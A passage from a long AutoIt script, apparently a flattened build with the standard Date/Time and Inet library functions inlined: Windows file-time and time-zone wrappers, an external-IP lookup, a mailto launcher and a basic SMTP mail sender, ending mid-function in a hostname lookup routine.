  4587.     Local $adays = [12, 31, (_dateisleapyear($iyear) ? 29 : 28), 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]
  4588.     Return $adays
  4589. EndFunc
  4590.  
  4591. Func __date_time_clonesystemtime($psystemtime)
  4592.     Local $tsystemtime1 = DllStructCreate($tagsystemtime, $psystemtime)
  4593.     Local $tsystemtime2 = DllStructCreate($tagsystemtime)
  4594.     DllStructSetData($tsystemtime2, "Month", DllStructGetData($tsystemtime1, "Month"))
  4595.     DllStructSetData($tsystemtime2, "Day", DllStructGetData($tsystemtime1, "Day"))
  4596.     DllStructSetData($tsystemtime2, "Year", DllStructGetData($tsystemtime1, "Year"))
  4597.     DllStructSetData($tsystemtime2, "Hour", DllStructGetData($tsystemtime1, "Hour"))
  4598.     DllStructSetData($tsystemtime2, "Minute", DllStructGetData($tsystemtime1, "Minute"))
  4599.     DllStructSetData($tsystemtime2, "Second", DllStructGetData($tsystemtime1, "Second"))
  4600.     DllStructSetData($tsystemtime2, "MSeconds", DllStructGetData($tsystemtime1, "MSeconds"))
  4601.     DllStructSetData($tsystemtime2, "DOW", DllStructGetData($tsystemtime1, "DOW"))
  4602.     Return $tsystemtime2
  4603. EndFunc
  4604.  
  4605. Func _date_time_comparefiletime($tfiletime1, $tfiletime2)
  4606.     Local $aresult = DllCall("kernel32.dll", "long", "CompareFileTime", "struct*", $tfiletime1, "struct*", $tfiletime2)
  4607.     If @error Then Return SetError(@error, @extended, 0)
  4608.     Return $aresult[0]
  4609. EndFunc
  4610.  
  4611. Func _date_time_dosdatetimetofiletime($ifatdate, $ifattime)
  4612.     Local $ttime = DllStructCreate($tagfiletime)
  4613.     Local $aresult = DllCall("kernel32.dll", "bool", "DosDateTimeToFileTime", "word", $ifatdate, "word", $ifattime, "struct*", $ttime)
  4614.     If @error Then Return SetError(@error, @extended, 0)
  4615.     Return SetExtended($aresult[0], $ttime)
  4616. EndFunc
  4617.  
  4618. Func _date_time_dosdatetoarray($idosdate)
  4619.     Local $adate[3]
  4620.     $adate[0] = BitAND($idosdate, 31)
  4621.     $adate[1] = BitAND(BitShift($idosdate, 5), 15)
  4622.     $adate[2] = BitAND(BitShift($idosdate, 9), 63) + 1980
  4623.     Return $adate
  4624. EndFunc
  4625.  
  4626. Func _date_time_dosdatetimetoarray($idosdate, $idostime)
  4627.     Local $adate[6]
  4628.     $adate[0] = BitAND($idosdate, 31)
  4629.     $adate[1] = BitAND(BitShift($idosdate, 5), 15)
  4630.     $adate[2] = BitAND(BitShift($idosdate, 9), 63) + 1980
  4631.     $adate[5] = BitAND($idostime, 31) * 2
  4632.     $adate[4] = BitAND(BitShift($idostime, 5), 63)
  4633.     $adate[3] = BitAND(BitShift($idostime, 11), 31)
  4634.     Return $adate
  4635. EndFunc
  4636.  
  4637. Func _date_time_dosdatetimetostr($idosdate, $idostime)
  4638.     Local $adate = _date_time_dosdatetimetoarray($idosdate, $idostime)
  4639.     Return StringFormat("%02d/%02d/%04d %02d:%02d:%02d", $adate[0], $adate[1], $adate[2], $adate[3], $adate[4], $adate[5])
  4640. EndFunc
  4641.  
  4642. Func _date_time_dosdatetostr($idosdate)
  4643.     Local $adate = _date_time_dosdatetoarray($idosdate)
  4644.     Return StringFormat("%02d/%02d/%04d", $adate[0], $adate[1], $adate[2])
  4645. EndFunc
  4646.  
  4647. Func _date_time_dostimetoarray($idostime)
  4648.     Local $atime[3]
  4649.     $atime[2] = BitAND($idostime, 31) * 2
  4650.     $atime[1] = BitAND(BitShift($idostime, 5), 63)
  4651.     $atime[0] = BitAND(BitShift($idostime, 11), 31)
  4652.     Return $atime
  4653. EndFunc
  4654.  
  4655. Func _date_time_dostimetostr($idostime)
  4656.     Local $atime = _date_time_dostimetoarray($idostime)
  4657.     Return StringFormat("%02d:%02d:%02d", $atime[0], $atime[1], $atime[2])
  4658. EndFunc
  4659.  
  4660. Func _date_time_encodefiletime($imonth, $iday, $iyear, $ihour = 0, $iminute = 0, $isecond = 0, $imseconds = 0)
  4661.     Local $tsystemtime = _date_time_encodesystemtime($imonth, $iday, $iyear, $ihour, $iminute, $isecond, $imseconds)
  4662.     Return _date_time_systemtimetofiletime($tsystemtime)
  4663. EndFunc
  4664.  
  4665. Func _date_time_encodesystemtime($imonth, $iday, $iyear, $ihour = 0, $iminute = 0, $isecond = 0, $imseconds = 0)
  4666.     Local $tsystemtime = DllStructCreate($tagsystemtime)
  4667.     DllStructSetData($tsystemtime, "Month", $imonth)
  4668.     DllStructSetData($tsystemtime, "Day", $iday)
  4669.     DllStructSetData($tsystemtime, "Year", $iyear)
  4670.     DllStructSetData($tsystemtime, "Hour", $ihour)
  4671.     DllStructSetData($tsystemtime, "Minute", $iminute)
  4672.     DllStructSetData($tsystemtime, "Second", $isecond)
  4673.     DllStructSetData($tsystemtime, "MSeconds", $imseconds)
  4674.     Return $tsystemtime
  4675. EndFunc
  4676.  
  4677. Func _date_time_filetimetoarray(ByRef $tfiletime)
  4678.     If ((DllStructGetData($tfiletime, 1) + DllStructGetData($tfiletime, 2)) = 0) Then Return SetError(10, 0, 0)
  4679.     Local $tsystemtime = _date_time_filetimetosystemtime($tfiletime)
  4680.     If @error Then Return SetError(@error, @extended, 0)
  4681.     Return _date_time_systemtimetoarray($tsystemtime)
  4682. EndFunc
  4683.  
  4684. Func _date_time_filetimetostr(ByRef $tfiletime, $ifmt = 0)
  4685.     Local $adate = _date_time_filetimetoarray($tfiletime)
  4686.     If @error Then Return SetError(@error, @extended, "")
  4687.     If $ifmt Then
  4688.         Return StringFormat("%04d/%02d/%02d %02d:%02d:%02d", $adate[2], $adate[0], $adate[1], $adate[3], $adate[4], $adate[5])
  4689.     Else
  4690.         Return StringFormat("%02d/%02d/%04d %02d:%02d:%02d", $adate[0], $adate[1], $adate[2], $adate[3], $adate[4], $adate[5])
  4691.     EndIf
  4692. EndFunc
  4693.  
  4694. Func _date_time_filetimetodosdatetime($tfiletime)
  4695.     Local $adate[2]
  4696.     Local $aresult = DllCall("kernel32.dll", "bool", "FileTimeToDosDateTime", "struct*", $tfiletime, "word*", 0, "word*", 0)
  4697.     If @error Then Return SetError(@error, @extended, $adate)
  4698.     $adate[0] = $aresult[2]
  4699.     $adate[1] = $aresult[3]
  4700.     Return SetExtended($aresult[0], $adate)
  4701. EndFunc
  4702.  
  4703. Func _date_time_filetimetolocalfiletime($tfiletime)
  4704.     Local $tlocal = DllStructCreate($tagfiletime)
  4705.     Local $aresult = DllCall("kernel32.dll", "bool", "FileTimeToLocalFileTime", "struct*", $tfiletime, "struct*", $tlocal)
  4706.     If @error Then Return SetError(@error, @extended, 0)
  4707.     Return SetExtended($aresult[0], $tlocal)
  4708. EndFunc
  4709.  
  4710. Func _date_time_filetimetosystemtime($tfiletime)
  4711.     Local $tsysttime = DllStructCreate($tagsystemtime)
  4712.     Local $aresult = DllCall("kernel32.dll", "bool", "FileTimeToSystemTime", "struct*", $tfiletime, "struct*", $tsysttime)
  4713.     If @error Then Return SetError(@error, @extended, 0)
  4714.     Return SetExtended($aresult[0], $tsysttime)
  4715. EndFunc
  4716.  
  4717. Func _date_time_getfiletime($hfile)
  4718.     Local $adate[3]
  4719.     $adate[0] = DllStructCreate($tagfiletime)
  4720.     $adate[1] = DllStructCreate($tagfiletime)
  4721.     $adate[2] = DllStructCreate($tagfiletime)
  4722.     Local $aresult = DllCall("kernel32.dll", "bool", "GetFileTime", "handle", $hfile, "struct*", $adate[0], "struct*", $adate[1], "struct*", $adate[2])
  4723.     If @error Then Return SetError(@error, @extended, 0)
  4724.     Return SetExtended($aresult[0], $adate)
  4725. EndFunc
  4726.  
  4727. Func _date_time_getlocaltime()
  4728.     Local $tsysttime = DllStructCreate($tagsystemtime)
  4729.     DllCall("kernel32.dll", "none", "GetLocalTime", "struct*", $tsysttime)
  4730.     If @error Then Return SetError(@error, @extended, 0)
  4731.     Return $tsysttime
  4732. EndFunc
  4733.  
  4734. Func _date_time_getsystemtime()
  4735.     Local $tsysttime = DllStructCreate($tagsystemtime)
  4736.     DllCall("kernel32.dll", "none", "GetSystemTime", "struct*", $tsysttime)
  4737.     If @error Then Return SetError(@error, @extended, 0)
  4738.     Return $tsysttime
  4739. EndFunc
  4740.  
  4741. Func _date_time_getsystemtimeadjustment()
  4742.     Local $ainfo[3]
  4743.     Local $aresult = DllCall("kernel32.dll", "bool", "GetSystemTimeAdjustment", "dword*", 0, "dword*", 0, "bool*", 0)
  4744.     If @error Then Return SetError(@error, @extended, 0)
  4745.     $ainfo[0] = $aresult[1]
  4746.     $ainfo[1] = $aresult[2]
  4747.     $ainfo[2] = $aresult[3] <> 0
  4748.     Return SetExtended($aresult[0], $ainfo)
  4749. EndFunc
  4750.  
  4751. Func _date_time_getsystemtimeasfiletime()
  4752.     Local $tfiletime = DllStructCreate($tagfiletime)
  4753.     DllCall("kernel32.dll", "none", "GetSystemTimeAsFileTime", "struct*", $tfiletime)
  4754.     If @error Then Return SetError(@error, @extended, 0)
  4755.     Return $tfiletime
  4756. EndFunc
  4757.  
  4758. Func _date_time_getsystemtimes()
  4759.     Local $ainfo[3]
  4760.     $ainfo[0] = DllStructCreate($tagfiletime)
  4761.     $ainfo[1] = DllStructCreate($tagfiletime)
  4762.     $ainfo[2] = DllStructCreate($tagfiletime)
  4763.     Local $aresult = DllCall("kernel32.dll", "bool", "GetSystemTimes", "struct*", $ainfo[0], "struct*", $ainfo[1], "struct*", $ainfo[2])
  4764.     If @error Then Return SetError(@error, @extended, 0)
  4765.     Return SetExtended($aresult[0], $ainfo)
  4766. EndFunc
  4767.  
  4768. Func _date_time_gettickcount()
  4769.     Local $aresult = DllCall("kernel32.dll", "dword", "GetTickCount")
  4770.     If @error Then Return SetError(@error, @extended, 0)
  4771.     Return $aresult[0]
  4772. EndFunc
  4773.  
  4774. Func _date_time_gettimezoneinformation()
  4775.     Local $ttimezone = DllStructCreate($tagtime_zone_information)
  4776.     Local $aresult = DllCall("kernel32.dll", "dword", "GetTimeZoneInformation", "struct*", $ttimezone)
  4777.     If @error OR $aresult[0] = -1 Then Return SetError(@error, @extended, 0)
  4778.     Local $ainfo[8]
  4779.     $ainfo[0] = $aresult[0]
  4780.     $ainfo[1] = DllStructGetData($ttimezone, "Bias")
  4781.     $ainfo[2] = _winapi_widechartomultibyte(DllStructGetPtr($ttimezone, "StdName"))
  4782.     $ainfo[3] = __date_time_clonesystemtime(DllStructGetPtr($ttimezone, "StdDate"))
  4783.     $ainfo[4] = DllStructGetData($ttimezone, "StdBias")
  4784.     $ainfo[5] = _winapi_widechartomultibyte(DllStructGetPtr($ttimezone, "DayName"))
  4785.     $ainfo[6] = __date_time_clonesystemtime(DllStructGetPtr($ttimezone, "DayDate"))
  4786.     $ainfo[7] = DllStructGetData($ttimezone, "DayBias")
  4787.     Return $ainfo
  4788. EndFunc
  4789.  
  4790. Func _date_time_localfiletimetofiletime($tlocaltime)
  4791.     Local $tfiletime = DllStructCreate($tagfiletime)
  4792.     Local $aresult = DllCall("kernel32.dll", "bool", "LocalFileTimeToFileTime", "struct*", $tlocaltime, "struct*", $tfiletime)
  4793.     If @error Then Return SetError(@error, @extended, 0)
  4794.     Return SetExtended($aresult[0], $tfiletime)
  4795. EndFunc
  4796.  
  4797. Func _date_time_setfiletime($hfile, $tcreatetime, $tlastaccess, $tlastwrite)
  4798.     Local $aresult = DllCall("kernel32.dll", "bool", "SetFileTime", "handle", $hfile, "struct*", $tcreatetime, "struct*", $tlastaccess, "struct*", $tlastwrite)
  4799.     If @error Then Return SetError(@error, @extended, False)
  4800.     Return $aresult[0]
  4801. EndFunc
  4802.  
  4803. Func _date_time_setlocaltime($tsystemtime)
  4804.     Local $aresult = DllCall("kernel32.dll", "bool", "SetLocalTime", "struct*", $tsystemtime)
  4805.     If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, False)
  4806.     $aresult = DllCall("kernel32.dll", "bool", "SetLocalTime", "struct*", $tsystemtime)
  4807.     If @error Then Return SetError(@error, @extended, False)
  4808.     Return $aresult[0]
  4809. EndFunc
  4810.  
  4811. Func _date_time_setsystemtime($tsystemtime)
  4812.     Local $aresult = DllCall("kernel32.dll", "bool", "SetSystemTime", "struct*", $tsystemtime)
  4813.     If @error Then Return SetError(@error, @extended, False)
  4814.     Return $aresult[0]
  4815. EndFunc
  4816.  
  4817. Func _date_time_setsystemtimeadjustment($iadjustment, $bdisabled)
  4818.     Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query))
  4819.     If @error Then Return SetError(@error + 10, @extended, False)
  4820.     _security__setprivilege($htoken, "SeSystemtimePrivilege", True)
  4821.     Local $ierror = @error
  4822.     Local $ilasterror = @extended
  4823.     Local $bret = False
  4824.     If NOT @error Then
  4825.         Local $aresult = DllCall("kernel32.dll", "bool", "SetSystemTimeAdjustment", "dword", $iadjustment, "bool", $bdisabled)
  4826.         If @error Then
  4827.             $ierror = @error
  4828.             $ilasterror = @extended
  4829.         ElseIf $aresult[0] Then
  4830.             $bret = True
  4831.         Else
  4832.             $ierror = 20
  4833.             $ilasterror = _winapi_getlasterror()
  4834.         EndIf
  4835.         _security__setprivilege($htoken, "SeSystemtimePrivilege", False)
  4836.         If NOT $ierror AND @error Then $ierror = 22
  4837.     EndIf
  4838.     _winapi_closehandle($htoken)
  4839.     Return SetError($ierror, $ilasterror, $bret)
  4840. EndFunc
  4841.  
  4842. Func _date_time_settimezoneinformation($ibias, $sstdname, $tstddate, $istdbias, $sdayname, $tdaydate, $idaybias)
  4843.     Local $tstdname = _winapi_multibytetowidechar($sstdname)
  4844.     Local $tdayname = _winapi_multibytetowidechar($sdayname)
  4845.     Local $tzoneinfo = DllStructCreate($tagtime_zone_information)
  4846.     DllStructSetData($tzoneinfo, "Bias", $ibias)
  4847.     DllStructSetData($tzoneinfo, "StdName", DllStructGetData($tstdname, 1))
  4848.     _memmovememory($tstddate, DllStructGetPtr($tzoneinfo, "StdDate"), DllStructGetSize($tstddate))
  4849.     DllStructSetData($tzoneinfo, "StdBias", $istdbias)
  4850.     DllStructSetData($tzoneinfo, "DayName", DllStructGetData($tdayname, 1))
  4851.     _memmovememory($tdaydate, DllStructGetPtr($tzoneinfo, "DayDate"), DllStructGetSize($tdaydate))
  4852.     DllStructSetData($tzoneinfo, "DayBias", $idaybias)
  4853.     Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query))
  4854.     If @error Then Return SetError(@error + 10, @extended, False)
  4855.     _security__setprivilege($htoken, "SeSystemtimePrivilege", True)
  4856.     Local $ierror = @error
  4857.     Local $ilasterror = @extended
  4858.     Local $bret = False
  4859.     If NOT @error Then
  4860.         Local $aresult = DllCall("kernel32.dll", "bool", "SetTimeZoneInformation", "struct*", $tzoneinfo)
  4861.         If @error Then
  4862.             $ierror = @error
  4863.             $ilasterror = @extended
  4864.         ElseIf $aresult[0] Then
  4865.             $ilasterror = 0
  4866.             $bret = True
  4867.         Else
  4868.             $ierror = 20
  4869.             $ilasterror = _winapi_getlasterror()
  4870.         EndIf
  4871.         _security__setprivilege($htoken, "SeSystemtimePrivilege", False)
  4872.         If NOT $ierror AND @error Then $ierror = 22
  4873.     EndIf
  4874.     _winapi_closehandle($htoken)
  4875.     Return SetError($ierror, $ilasterror, $bret)
  4876. EndFunc
  4877.  
  4878. Func _date_time_systemtimetoarray(ByRef $tsystemtime)
  4879.     Local $ainfo[8]
  4880.     $ainfo[0] = DllStructGetData($tsystemtime, "Month")
  4881.     $ainfo[1] = DllStructGetData($tsystemtime, "Day")
  4882.     $ainfo[2] = DllStructGetData($tsystemtime, "Year")
  4883.     $ainfo[3] = DllStructGetData($tsystemtime, "Hour")
  4884.     $ainfo[4] = DllStructGetData($tsystemtime, "Minute")
  4885.     $ainfo[5] = DllStructGetData($tsystemtime, "Second")
  4886.     $ainfo[6] = DllStructGetData($tsystemtime, "MSeconds")
  4887.     $ainfo[7] = DllStructGetData($tsystemtime, "DOW")
  4888.     Return $ainfo
  4889. EndFunc
  4890.  
  4891. Func _date_time_systemtimetodatestr(ByRef $tsystemtime, $ifmt = 0)
  4892.     Local $ainfo = _date_time_systemtimetoarray($tsystemtime)
  4893.     If @error Then Return SetError(@error, @extended, "")
  4894.     If $ifmt Then
  4895.         Return StringFormat("%04d/%02d/%02d", $ainfo[2], $ainfo[0], $ainfo[1])
  4896.     Else
  4897.         Return StringFormat("%02d/%02d/%04d", $ainfo[0], $ainfo[1], $ainfo[2])
  4898.     EndIf
  4899. EndFunc
  4900.  
  4901. Func _date_time_systemtimetodatetimestr(ByRef $tsystemtime, $ifmt = 0)
  4902.     Local $ainfo = _date_time_systemtimetoarray($tsystemtime)
  4903.     If @error Then Return SetError(@error, @extended, "")
  4904.     If $ifmt Then
  4905.         Return StringFormat("%04d/%02d/%02d %02d:%02d:%02d", $ainfo[2], $ainfo[0], $ainfo[1], $ainfo[3], $ainfo[4], $ainfo[5])
  4906.     Else
  4907.         Return StringFormat("%02d/%02d/%04d %02d:%02d:%02d", $ainfo[0], $ainfo[1], $ainfo[2], $ainfo[3], $ainfo[4], $ainfo[5])
  4908.     EndIf
  4909. EndFunc
  4910.  
  4911. Func _date_time_systemtimetofiletime($tsystemtime)
  4912.     Local $tfiletime = DllStructCreate($tagfiletime)
  4913.     Local $aresult = DllCall("kernel32.dll", "bool", "SystemTimeToFileTime", "struct*", $tsystemtime, "struct*", $tfiletime)
  4914.     If @error Then Return SetError(@error, @extended, 0)
  4915.     Return SetExtended($aresult[0], $tfiletime)
  4916. EndFunc
  4917.  
  4918. Func _date_time_systemtimetotimestr(ByRef $tsystemtime)
  4919.     Local $ainfo = _date_time_systemtimetoarray($tsystemtime)
  4920.     Return StringFormat("%02d:%02d:%02d", $ainfo[3], $ainfo[4], $ainfo[5])
  4921. EndFunc
  4922.  
  4923. Func _date_time_systemtimetotzspecificlocaltime($tutc, $ttimezone = 0)
  4924.     Local $tlocaltime = DllStructCreate($tagsystemtime)
  4925.     Local $aresult = DllCall("kernel32.dll", "bool", "SystemTimeToTzSpecificLocalTime", "struct*", $ttimezone, "struct*", $tutc, "struct*", $tlocaltime)
  4926.     If @error Then Return SetError(@error, @extended, 0)
  4927.     Return SetExtended($aresult[0], $tlocaltime)
  4928. EndFunc
  4929.  
  4930. Func _date_time_tzspecificlocaltimetosystemtime($tlocaltime, $ttimezone = 0)
  4931.     Local $tutc = DllStructCreate($tagsystemtime)
  4932.     Local $aresult = DllCall("kernel32.dll", "bool", "TzSpecificLocalTimeToSystemTime", "struct*", $ttimezone, "struct*", $tlocaltime, "struct*", $tutc)
  4933.     If @error Then Return SetError(@error, @extended, 0)
  4934.     Return SetExtended($aresult[0], $tutc)
  4935. EndFunc
  4936.  
  4937. Global Const $inet_localcache = 0
  4938. Global Const $inet_forcereload = 1
  4939. Global Const $inet_ignoressl = 2
  4940. Global Const $inet_asciitransfer = 4
  4941. Global Const $inet_binarytransfer = 8
  4942. Global Const $inet_forcebypass = 16
  4943. Global Const $inet_downloadwait = 0
  4944. Global Const $inet_downloadbackground = 1
  4945. Global Const $inet_downloadread = 0
  4946. Global Const $inet_downloadsize = 1
  4947. Global Const $inet_downloadcomplete = 2
  4948. Global Const $inet_downloadsuccess = 3
  4949. Global Const $inet_downloaderror = 4
  4950. Global Const $inet_downloadextended = 5
  4951.  
  4952. Func _getip()
  4953.     Local Const $getip_timer = 300000
  4954.     Local Static $htimer = 0
  4955.     Local Static $slastip = 0
  4956.     If TimerDiff($htimer) < $getip_timer AND NOT $slastip Then
  4957.         Return SetExtended(1, $slastip)
  4958.     EndIf
  4959.     Local $agetipurl[] = ["http://checkip.dyndns.org", "http://www.myexternalip.com/raw", "http://bot.whatismyipaddress.com"], $areturn = 0, $sreturn = ""
  4960.     For $i = 0 To UBound($agetipurl) - 1
  4961.         $sreturn = InetRead($agetipurl[$i])
  4962.         If @error OR $sreturn == "" Then ContinueLoop
  4963.         $areturn = StringRegExp(BinaryToString($sreturn), "((?:\d{1,3}\.){3}\d{1,3})", $str_regexparrayglobalmatch)
  4964.         If NOT @error Then
  4965.             $sreturn = $areturn[0]
  4966.             ExitLoop
  4967.         EndIf
  4968.         $sreturn = ""
  4969.     Next
  4970.     $htimer = TimerInit()
  4971.     $slastip = $sreturn
  4972.     If $sreturn == "" Then Return SetError(1, 0, -1)
  4973.     Return $sreturn
  4974. EndFunc
  4975.  
  4976. Func _inetexplorercapable($siestring)
  4977.     If StringLen($siestring) <= 0 Then Return SetError(1, 0, "")
  4978.     Local $s_iereturn
  4979.     Local $n_iechar
  4980.     For $i_iecount = 1 To StringLen($siestring)
  4981.         $n_iechar = "0x" & Hex(Asc(StringMid($siestring, $i_iecount, 1)), 2)
  4982.         If $n_iechar < 33 OR $n_iechar = 37 OR $n_iechar = 47 OR $n_iechar > 127 Then
  4983.             $s_iereturn = $s_iereturn & "%" & StringRight($n_iechar, 2)
  4984.         Else
  4985.             $s_iereturn = $s_iereturn & Chr($n_iechar)
  4986.         EndIf
  4987.     Next
  4988.     Return $s_iereturn
  4989. EndFunc
  4990.  
  4991. Func _inetgetsource($surl, $bstring = True)
  4992.     Local $sstring = InetRead($surl, $inet_forcereload)
  4993.     Local $ierror = @error, $iextended = @extended
  4994.     If $bstring = Default OR $bstring Then $sstring = BinaryToString($sstring)
  4995.     Return SetError($ierror, $iextended, $sstring)
  4996. EndFunc
  4997.  
  4998. Func _inetmail($smailto, $smailsubject, $smailbody)
  4999.     Local $iprev = Opt("ExpandEnvStrings", 1)
  5000.     Local $svar, $sdflt = RegRead("HKCU\Software\Clients\Mail", "")
  5001.     If $sdflt = "Windows Live Mail" Then
  5002.         $svar = RegRead("HKCR\WLMail.Url.Mailto\Shell\open\command", "")
  5003.     Else
  5004.         $svar = RegRead("HKCR\mailto\shell\open\command", "")
  5005.     EndIf
  5006.     Local $iret = Run(StringReplace($svar, "%1", _inetexplorercapable("mailto:" & $smailto & "?subject=" & $smailsubject & "&body=" & $smailbody)))
  5007.     Local $ierror = @error, $iextended = @extended
  5008.     Opt("ExpandEnvStrings", $iprev)
  5009.     Return SetError($ierror, $iextended, $iret)
  5010. EndFunc
  5011.  
  5012. Func _inetsmtpmail($ssmtpserver, $sfromname, $sfromaddress, $stoaddress, $ssubject = "", $abody = "", $sehlo = "", $sfirst = "", $btrace = 0)
  5013.     If $ssmtpserver = "" OR $sfromaddress = "" OR $stoaddress = "" OR $sfromname = "" OR StringLen($sfromname) > 256 Then Return SetError(1, 0, 0)
  5014.     If $sehlo = "" Then $sehlo = @ComputerName
  5015.     If TCPStartup() = 0 Then Return SetError(2, 0, 0)
  5016.     Local $s_ipaddress, $i_count
  5017.     If StringRegExp($ssmtpserver, "^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$") Then
  5018.         $s_ipaddress = $ssmtpserver
  5019.     Else
  5020.         $s_ipaddress = TCPNameToIP($ssmtpserver)
  5021.     EndIf
  5022.     If $s_ipaddress = "" Then
  5023.         TCPShutdown()
  5024.         Return SetError(3, 0, 0)
  5025.     EndIf
  5026.     Local $vsocket = TCPConnect($s_ipaddress, 25)
  5027.     If $vsocket = -1 Then
  5028.         TCPShutdown()
  5029.         Return SetError(4, 0, 0)
  5030.     EndIf
  5031.     Local $asend[6], $areplycode[6]
  5032.     $asend[0] = "HELO " & $sehlo & @CRLF
  5033.     If StringLeft($sehlo, 5) = "EHLO " Then $asend[0] = $sehlo & @CRLF
  5034.     $areplycode[0] = "250"
  5035.     $asend[1] = "MAIL FROM: <" & $sfromaddress & ">" & @CRLF
  5036.     $areplycode[1] = "250"
  5037.     $asend[2] = "RCPT TO: <" & $stoaddress & ">" & @CRLF
  5038.     $areplycode[2] = "250"
  5039.     $asend[3] = "DATA" & @CRLF
  5040.     $areplycode[3] = "354"
  5041.     Local $aresult = _date_time_gettimezoneinformation()
  5042.     Local $ibias = -$aresult[1] / 60
  5043.     Local $ibiash = Int($ibias)
  5044.     Local $ibiasm = 0
  5045.     If $ibiash <> $ibias Then $ibiasm = Abs($ibias - $ibiash) * 60
  5046.     $ibias = StringFormat(" (%+.2d%.2d)", $ibiash, $ibiasm)
  5047.     $asend[4] = "From:" & $sfromname & "<" & $sfromaddress & ">" & @CRLF & "To:" & "<" & $stoaddress & ">" & @CRLF & "Subject:" & $ssubject & @CRLF & "Mime-Version: 1.0" & @CRLF & "Date: " & _datedayofweek(@WDAY, 1) & ", " & @MDAY & " " & _datetomonth(@MON, 1) & " " & @YEAR & " " & @HOUR & ":" & @MIN & ":" & @SEC & $ibias & @CRLF & "Content-Type: text/plain; charset=US-ASCII" & @CRLF & @CRLF
  5048.     $areplycode[4] = ""
  5049.     $asend[5] = @CRLF & "." & @CRLF
  5050.     $areplycode[5] = "250"
  5051.     If __smtpsend($vsocket, $asend[0], $areplycode[0], $btrace, "220", $sfirst) Then Return SetError(50, 0, 0)
  5052.     For $i_count = 1 To UBound($asend) - 2
  5053.         If __smtpsend($vsocket, $asend[$i_count], $areplycode[$i_count], $btrace) Then Return SetError(50 + $i_count, 0, 0)
  5054.     Next
  5055.     For $i_count = 0 To UBound($abody) - 1
  5056.         If StringLeft($abody[$i_count], 1) = "." Then $abody[$i_count] = "." & $abody[$i_count]
  5057.         If __smtpsend($vsocket, $abody[$i_count] & @CRLF, "", $btrace) Then Return SetError(500 + $i_count, 0, 0)
  5058.     Next
  5059.     $i_count = UBound($asend) - 1
  5060.     If __smtpsend($vsocket, $asend[$i_count], $areplycode[$i_count], $btrace) Then Return SetError(5000, 0, 0)
  5061.     TCPCloseSocket($vsocket)
  5062.     TCPShutdown()
  5063.     Return 1
  5064. EndFunc
  5065.  
  5066. Func __smtptrace($sstr, $itimeout = 0)
  5067.     Local $sw_title = "SMTP trace"
  5068.     Local $ssmtptrace = ControlGetText($sw_title, "", "Static1")
  5069.     $sstr = StringLeft(StringReplace($sstr, @CRLF, ""), 70)
  5070.     $ssmtptrace &= @HOUR & ":" & @MIN & ":" & @SEC & " " & $sstr & @LF
  5071.     If WinExists($sw_title) Then
  5072.         ControlSetText($sw_title, "", "Static1", $ssmtptrace)
  5073.     Else
  5074.         SplashTextOn($sw_title, $ssmtptrace, 400, 500, 500, 100, 4 + 16, "", 8)
  5075.     EndIf
  5076.     If $itimeout Then Sleep($itimeout * 1000)
  5077. EndFunc
  5078.  
  5079. Func __smtpsend($vsocket, $ssend, $sreplycode, $btrace, $sintreply = "", $sfirst = "")
  5080.     Local $sreceive, $i, $htimer
  5081.     If $btrace Then __smtptrace($ssend)
  5082.     If $sintreply <> "" Then
  5083.         If $sfirst <> -1 Then
  5084.             If TCPSend($vsocket, $sfirst) = 0 Then
  5085.                 TCPCloseSocket($vsocket)
  5086.                 TCPShutdown()
  5087.                 Return 1
  5088.             EndIf
  5089.         EndIf
  5090.         $sreceive = ""
  5091.         $htimer = TimerInit()
  5092.         While StringLeft($sreceive, StringLen($sintreply)) <> $sintreply AND TimerDiff($htimer) < 45000
  5093.             $sreceive = TCPRecv($vsocket, 1000)
  5094.             If $btrace AND $sreceive <> "" Then __smtptrace("intermediate->" & $sreceive)
  5095.         WEnd
  5096.     EndIf
  5097.     If TCPSend($vsocket, $ssend) = 0 Then
  5098.         TCPCloseSocket($vsocket)
  5099.         TCPShutdown()
  5100.         Return 1
  5101.     EndIf
  5102.     $htimer = TimerInit()
  5103.     $sreceive = ""
  5104.     While $sreceive = "" AND TimerDiff($htimer) < 45000
  5105.         $i += 1
  5106.         $sreceive = TCPRecv($vsocket, 1000)
  5107.         If $sreplycode = "" Then ExitLoop
  5108.     WEnd
  5109.     If $sreplycode <> "" Then
  5110.         If $btrace Then __smtptrace($i & " <- " & $sreceive)
  5111.         If StringLeft($sreceive, StringLen($sreplycode)) <> $sreplycode Then
  5112.             TCPCloseSocket($vsocket)
  5113.             TCPShutdown()
  5114.             If $btrace Then __smtptrace("<-> " & $sreplycode, 5)
  5115.             Return 2
  5116.         EndIf
  5117.     EndIf
  5118.     Return 0
  5119. EndFunc
  5120.  
  5121. Func _tcpiptoname($sip, $ioption = Default, $hdll = Default)
  5122.     Local $iinaddr_none = -1, $iaf_inet = 2, $sseparator = @CR
  5123.     If $ioption = Default Then $ioption = 0
  5124.     If $hdll = Default Then $hdll = "ws2_32.dll"
  5125.     Local $avdllcall = DllCall($hdll, "ulong", "inet_addr", "STR", $sip)
  5126.     If @error Then Return SetError(1, 0, "")
  5127.     Local $vbinip = $avdllcall[0]
  5128.     If $vbinip = $iinaddr_none Then Return SetError(2, 0, "")
  5129.     $avdllcall = DllCall($hdll, "ptr", "gethostbyaddr", "ptr*", $vbinip, "int", 4, "int", $iaf_inet)
  5130.     If @error Then Return SetError(3, 0, "")
  5131.     Local $pvhostent = $avdllcall[0]
  5132.     If $pvhostent = 0 Then
  5133.         $avdllcall = DllCall($hdll, "int", "WSAGetLastError")
  5134.         If @error Then Return SetError(5, 0, "")
  5135.         Return SetError(4, $avdllcall[0], "")
  5136.     EndIf
  5137.     Local $thostent = DllStructCreate("ptr;ptr;short;short;ptr", $pvhostent)
  5138.     Local $shostnames = __tcpiptoname_szstringread(DllStructGetData($thostent, 1))
  5139.     If @error Then Return SetError(6, 0, $shostnames)
  5140.     If $ioption = 1 Then
  5141.         Local $taliases
  5142.         $shostnames &= $sseparator
  5143.         For $i = 0 To 63
  5144.             $taliases = DllStructCreate("ptr", DllStructGetData($thostent, 2) + ($i * 4))
  5145.             If DllStructGetData($taliases, 1) = 0 Then ExitLoop
  5146.             $shostnames &= __tcpiptoname_szstringread(DllStructGetData($taliases, 1))
  5147.             If @error Then
  5148.                 SetError(7)
  5149.                 ExitLoop
  5150.             EndIf
